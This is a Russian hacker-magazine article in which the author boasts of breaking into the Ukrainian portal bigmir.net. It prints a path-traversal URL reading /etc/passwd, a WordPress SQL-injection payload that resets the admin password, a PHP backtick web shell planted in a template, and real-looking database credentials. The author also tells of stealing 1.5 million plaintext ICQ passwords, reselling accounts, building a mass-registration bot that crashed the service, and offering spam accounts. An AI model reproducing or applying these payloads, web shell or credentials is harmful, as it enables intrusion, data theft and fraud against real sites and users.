Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Трюки с phpinfo Трюки с phpinfo
Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием....
Интервью с создателем NGINX Игорем Сысоевым Интервью с создателем NGINX Игорем Сысоевым
Легкий веб-сервер NGINX буквально только что вышел на 2 место по популярности в интернете. А незадолго до этого создатель NGINX привлек 3 млн. долларов инвестиций и основал одноименную компанию. В общем, поводов для общения с Игорем Сысоевым у нас была масса....

Bigmir.Net? И не будет!

Bookmark and Share

Здравствуй, мой юный друг! Сегодня на нашем операционном столе лежит и подрагивает всеми конечностями очень известный пациент - украинский портал bigmir.net (аналог нашего Рамблера на Украине). Ты спросишь, что же в нем такого особенного? Отвечу. Бигмир - локализованный партнер icq.com, через который проходит привязка номерков аськи к мылу, регистрация новых уинов и другие вкусности, связанные с аськой. Стало интереснее? Тогда читай дальше :).

Нет ничего невозможного!

Помнишь майский номер ][, где твой покорный слуга успешно поимел израильский ICQ WAP-шлюз tjat.com? Это было лишь начало :). Сразу после продажи красивых номерков с этого сервиса я принялся изучать локализованных партнеров Icq.Com в различных странах: nana.co.il, rambler.ru, mynet.com, abv.bg, zoznam.sk, netvigator.com, prosieben.de, atlas.cz и bigmir.net. Для этого я скачал крякнутый сканер уязвимостей XSpider 7.5 (ссылку приводить не буду, поскольку это незаконно, но ты можешь поискать ее сам на различных форумах, посвященных хаку) и запустил его на своем компе с указанными выше доменами для их проверки. Спустя час прога выдала мне первые результаты :). Жертва была найдена - украинский портал bigmir.net с PR=8 по Гуглу (в России сайтов с таким пиаром всего три).

Сама ядовитая ссылка выглядела так:

http://www.bigmir.net/?u=../../../../../../../../../../../../../../../etc/passwd%00

Очень похоже на локальный инклуд с null-байтом. Но, как позже выяснилось, это было далеко не так. Этот баг позволял лишь просматривать файлы в системе, а до выполнения php-кода дело не дошло. Код в исходнике главной страницы Бигмира выглядит так:

$u = @$_GET['u'];
...
@readfile($staticDir .'rating'.$t.$u.'.html');

Просмотрев некоторые системные файлы (например, www.bigmir.net/?u=../../../../../../../../../../usr/local/etc/apache22/extra/httpd-vhosts.conf%00), я решил пока отложить эту уязвимость и идти дальше.

Хорошие соседи

Как видишь, даже в таком серьезном портале уже на главной странице обнаружился очень серьезный баг. Но с него ничего хорошего поднять было нельзя. Поэтому следующим моим шагом стало изучение сайтов, расположенных на том же сервере, что и bigmir.net. Я зашел на всем известный сервис IP-lookup http://domainsdb.net, вбил туда наш любимый Бигмир и стал смотреть результаты.

На самом IP-адресе Бигмира других сайтов не было, а вот на его же NS я увидел пару сайтиков: http://korrespondent.net и http://ricardo.com.ua, ссылки на которые были на главной странице нашего портала. Немного поизучав новых пациентов, я наткнулся на их форумы (http://forum.korrespondent.net и http://ricardo.com.ua/forum). Наметанный глаз сразу узнал скрипты борды. И там, и там стоял Phorum. Но, чтобы начать какие-либо хакерские действия, необходимо было узнать версию форума. Пройдя по ссылке http://forum.korrespondent.net/admin.php, я обнаружил надпись: «Version 5.1.16a». Для нее, конечно, были известные баги, но паблик-сплоитов под них не существует, а ковыряться с blind SQL-injection не позволяла лень. Смотри сам, небольшой PoC-сплоит (работающий, конечно, после логина на форум и подстановки существующих id форума и темы):

<html> 
<body>
<form method=POST action="http://forum.korrespondent.net/pm.php">
<input type="hidden" name="recipients[123']" value="testers">
<input type="hidden" name="action" value="post" />
<input type="text" id="subject" name="subject" size="50" value="" />
<textarea id="message" name="message" rows="20" cols="50"></textarea>
<input type="hidden" name="forum_id" value="1" />
<input type="submit" name"test" value="test">
<input name="preview" value=" Preview " />
</body>
</html>

Далее я совершил те же самые действия и со вторым форумом, но админки по этому адресу не было. В итоге, ковыряясь с этими форумами, я нашел только одну интересную особенность: если пройти по ссылке http://ricardo.com.ua/forum/docs, то в окне браузера можно наблюдать следующую забавную картину:

Warning: main(./docs) [function.main]: failed to open stream: Invalid argument in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47
Fatal error: main() [function.require]: Failed opening required './docs' (include_path='.:/usr/local/share/pear') in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47

Но, опять же это все была ерунда, нужен был более серьезный баг.

Истина где-то рядом

Выбрав в качестве своей основной жертвы http://korrespondent.net, я продолжил хождение по этому ресурсу и через несколько минут наткнулся на http://blog.korrespondent.net, на главной странице которого в самом низу было написано: «Блог Korrespondent.net работает на WordPress». Увидев эту надпись, я обрадовался, поскольку WordPress - крайне дырявый движок, следовало только узнать его версию, для чего я прошел по ссылке http://blog.korrespondent.net/readme.html. На открывшейся паге гордо красовалась вторая обрадовавшая меня за последние несколько минут надпись: «WordPress 1.5» :). Я ринулся на http://milw0rm.com, вбил там в поиск название движка и увидел кучу очень неплохих сплоитов, из которых выбрал Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit), так как он был последним для ветки 1.5, запустил его и... ничего не получил :(. Огорчению моему не было предела. Значит, на исследуемом сайте стоял WordPress 1.5.2, для которого не было паблик-сплоитов. Эта неудача вынудила меня забить на несколько дней на взлом Бигмира.

WordPress под ударом

Естественно, этим история не заканчивается :). Погуляв пару дней на свежем воздухе, я подумал, а почему бы самому не поискать баги в движке блога, чем немедленно и занялся. Зашел на официальный сайт движка http://wordpress.org, далее - в архив раздела Download и скачал оттуда последнюю версию из первой ветки - 1.5.2. Установил блог на локалхосте и принялся за раскопки :). На поиск бага ушло несколько часов и пара литров пива, я копал каждый файл, мучал параметры, листал исходники... И в итоге мои старания были вознаграждены! Банальная скул-инъекция присутствовала в файле ./wp-admin/user-edit.php в 69-й строке:

$result = $wpdb->query("UPDATE $wpdb->users SET user_login = '$new_user_login', user_firstname = '$new_firstname', $updatepassword user_lastname='$new_lastname', user_nickname='$new_nickname', user_icq='$new_icq', user_email='$new_email', user_url='$new_url', user_aim='$new_aim', user_msn='$new_msn', user_yim='$new_yim', user_idmode='$new_idmode', user_description = '$new_description', user_nicename = '$new_nicename' WHERE ID = $user_id");

Итак (трубят фанфары)... У нас на операционном столе - новый приватный баг WordPress, найденный твоим покорным слугой :). Для его использования необходима регистрация на уязвимом блоге. Вообще он находится в файле wp-register.php, но на Korrespondent.net была сделана общая регистрация для всех сервисов сайта, поэтому, зарегавшись и залогинившись на сайте, я прошел по ссылке http://korrespondent.net/wp-admin/user-edit.php и сохранил страничку себе на винт. Далее, открыв ее в блокноте, я нашел следующий участок html-кода:

<form 
name="edituser" 
id="edituser" 
action="user-edit.php" 
method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Заменил его:

<form 
name="edituser" 
id="edituser" 
action="http://blog.korrespondent.net/wp-admin/user-edit.php" 
method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Затем нашел hidden-поле с user_id и заменил его:

<textarea 
name="user_id" 
rows="5" 
id="new_description" 
style="width: 99%; ">
</textarea>

После всех перечисленных действий я сохранил заряженную страницу и открыл ее в браузере.

Теперь необходимо сделать небольшое пояснение, касающееся найденной уязвимости: из SQL-запроса видно, что при update пользовательского профиля вообще не проверяется параметр $user_id, то есть таким образом мы можем обновить профиль любого юзера, но прежде всего нам необходим админ. Как просто и быстро поставить админу свой пароль? А вот как.

В нашей ядовитой страничке вписываем в поля с логином и паролем любые логин и пароль, например tester/tester, а в бывшее hidden-поле вбиваем: «-99 or user_level=10/*» (естественно, без кавычек). В итоге, наш скул-запрос получается следующим:

UPDATE wp_users SET user_login = 'tester', user_firstname = '',user_pass=MD5('tester'), user_lastname='', user_nickname='', user_icq='', user_email='', user_url='', user_aim='', user_msn='', user_yim='', user_idmode='', user_description = '', user_nicename = '' WHERE ID =-99 or user_level=10/*

Так как юзера с ID=-99 однозначно не существует в базе данных, обновятся данные лишь юзера с user_level=10, то есть данные админа :).

Ленивые админы

Став админом blog.korrespondent.net, я задумался над получением шелла на сервере. Скажу по секрету: у меня есть еще один обнаруженный мной приватный баг, позволяющий легко и безболезненно получать шелл из админок WordPress версий 1.5-2.1. Но тебе хватит и предыдущего привата :). Эта уязвимость все равно мне не понадобилась, поскольку, зайдя в «Редактор шаблонов», я увидел, что все php-файлы в template-директории открыты на запись. Теперь необходимо было тайно встроить свой шелл в один из уязвимых файлов. Я быстро набросал следующий php-код:

<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>

И вписал его в template шапки блога. Таким образом, по адресу http://blog.korrespondent.net можно было видеть обычный блог, а на http://blog.korrespondent.net/?fuckkk=[команда] - красивый и удобный шелл :).

А дальше я начал изучение сервера bigmir.net. В первую очередь меня интересовала база данных Бигмира. Отправившись на поиске параметров подключения к базе, я нашел файл /storage/web/htdocs/bigmir/bigmir2/config.php, в котором находились следующие строки:

// production
define('BM_DB_HOST', 'cbd2.sm');
define('BM_DB_USER', 'bigmir');
define('BM_DB_PASS', 'NacDagegWukecBi');

Далее я закачал на сервер скрипт управления БД от RusH Security Team (http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt, на официальном сайте скрипт недоступен) и поставил его по адресу http://files.korrespondent.net/img/forall/a/4/header.php. Залогинившись с полученными данными, я минуту наблюдал долгожданную картину - все таблицы Бигмира были передо мной :). Немного походив по ним, я нашел таблицу с юзерами в bm_global.user. Полтора миллиона регистраций, все пароли к аськам в открытом виде! Ну не чудо ли?

Что дальше?

Продав все пяти-, шести- и семизначные номера из базы Бигмира с помощью друзей, я задумался, а что же делать дальше? Перспективы открывались огромные: во-первых, в моих руках был клиентский API партнеров icq.com (наблюдать его ты также можешь на скриншоте в журнале); во-вторых, мой шелл на протяжении двух недель никто не палил; а в-третьих, я нашел таблицу с админами Бигмира и у меня был доступ к http://admin.bigmir.net (сейчас доступ к админке возможен лишь с определенных IP-адресов).

Решив пойти по пути наименьшего сопротивления, я стал изучать регу номеров. В результате в файле /storage/web/htdocs/bigmir/include/icq_ips_class.php я увидел следующую функцию:

function register($password, $email, $nickName, $firstName = false, $lastName = false, $birthDay = false, $sex = false, $country = false, $city = false, $state = false)
{
...
}

И стал ваять автореггер ICQ-уинов. Создал php-гейт на Бигмире, где в цикле запустил указанную выше функцию, затем на том же php написал клиент к этому гейту и с помощью программы php2exe, которую ты можешь часто видеть на дисках, прилагаемых к журналу, перевел его в экзешник. Процитирую одного из первых покупателей этой программы (kaleostra): «Купил - доволен; итак, тесты: 10 мин, 4100 номеров с семи копий, 410 в минуту с семи копий, 59 номеров в минуту с копии! Ресурсы не жрет вообще».

Как видишь, результаты ошеломляющие :). Но этого было, как обычно, мало. За несколько часов товарищ Cash написал GUI-интерфейс на Delphi с поддержкой потоков, и получилась довольно симпатичная прога, которую ты можешь наблюдать на скриншоте. За одну ночь 4 человека зарегали более полумиллиона уинов, в результате Бигмир повис надолго. Затем была отключена регистрация номеров, и на сервере украинского портала стали проводиться какие-то технические работы. Через день все мои бэкдор-шеллы удалили, был установлен WordPress последней версии и изменены пароли всех админов Бигмира. Но меня это ничуть не расстроило :). Покопавшись в слитом движке Бигмира, я нашел скул-инъекцию, с помощью которой снова получил доступ к базе данных :). Правда, через несколько часов его перекрыли.

В итоге, было продано очень много элитнейших уинов, зарегистрировано очень много девяток для спама (у меня самого до сих пор лежит около 250k, если будут нужны - обращайся), и, что самое главное, был подорван авторитет не только локализованного партнера icq.com http://bigmir.net, но и всего AOL'а.

На этом следует остановиться. Как видишь, даже очень крупные проекты не могут устоять перед хакерами. Стоит задуматься, какой из локализованных партнеров будет следующей жертвой безжалостного ICQ хакерского андеграунда? ;)

DANGER

Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. За использование материалов статьи в противозаконных целях ни редакция, ни автор ответственности не несут.


Полную версию статьи читай в августовском номере Хакера!



Теги: Bigmir.net , ICQ , SQL-инъекция , WordPress , взлом





СЛЕДУЮЩИЕ СТАТЬИ
Бабло на малвари: как и сколько зарабатывают наши криминальные коллеги?
phpMyAdmin на лопатках: взлом известного движка с помощью нашумевшего бага в глобализации переменных
Критическая уязвимость в SSL вышла из разряда теоретических: исследователи выпустили программу для взлома шифрования
Cloud Hacking: облачные вычисления на службе у пентестера
Опасные обновления: заражение системы через механизм автоапдейтов
SCADA под прицелом: анализ защищенности АСУ ТП
Обратная связь DNS: продвинутый payload для организации туннеля
Сосед из ада: 18 лет тюрьмы за взлом Wi-Fi
Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы
Обратная связь DNS: обходим преграды и организовываем доступ в Сеть
ПРЕДЫДУЩИЕ СТАТЬИ
Проверь паспорт: CAPTCHA ФМС
Взлом спамеров
Идеальный взлом
Межгород 4free: новые способы бесплатно звонить по межгороду
Берем под контроль скандальные ресурсы
Прячем трафик: техника сокрытия IP-трафика с помощью секретных пассивных каналов
Бекдор в голове
Праздничный взлом №2
Праздничный взлом №1
Модная девелоперская контора
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
29.01.2009 5:34:40
Ответить Ссылка
Ахуеть, аффтар жжот. Круто ты
UserГость
21.01.2011 7:31:05
Ответить Ссылка
Также как правды.net во власти
и не будет :))




Keywords: zPOSTz zHACKz, zINFOz, zINTERNETz, zYANDEXz z40919z
Для Авторов: edit Lock delete Lock



    Rambler's Top100